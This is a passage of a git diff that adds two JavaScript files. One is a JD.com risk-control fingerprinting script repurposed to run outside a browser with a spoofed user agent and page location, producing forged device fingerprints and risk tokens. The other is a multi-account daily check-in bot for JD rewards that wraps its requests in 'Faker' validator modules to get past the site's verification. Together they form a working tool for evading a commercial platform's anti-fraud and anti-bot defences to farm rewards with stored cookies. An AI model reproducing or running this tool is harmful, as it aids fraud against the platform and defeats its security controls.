cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/JD_DailyBonus.js b/utils/JD_DailyBonus.js new file mode 100644 index 0000000..0563f85 --- /dev/null +++ b/utils/JD_DailyBonus.js @@ -0,0 +1,1950 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '', md5 + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + //JingRongSteel(stop, jrBody), //金融钢镚 + //JingDongTurn(stop), //京东转盘 + // JDFlashSale(stop), //京东闪购 + // JingDongCash(stop), //京东现金红包 + // JDMagicCube(stop, 2), //京东小魔方 + //JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + //JingDongShake(stop), //京东摇一摇 + //JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + //JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + //JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + //JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + //JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + //JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + //JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + //JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + //JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + //JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + //JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + //JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + //JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + // JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + //JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + //JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + //JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + // JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + // JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + // JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + // JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'), //京东PLUS + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + // await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + // await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + // await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + // await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + // await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + // await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + // await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + // await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + // await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + // await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + // await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + // await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + // await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + // await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + // await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + // await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'); //京东PLUS + // await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + // await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + // await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + // await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + // await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + //await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, 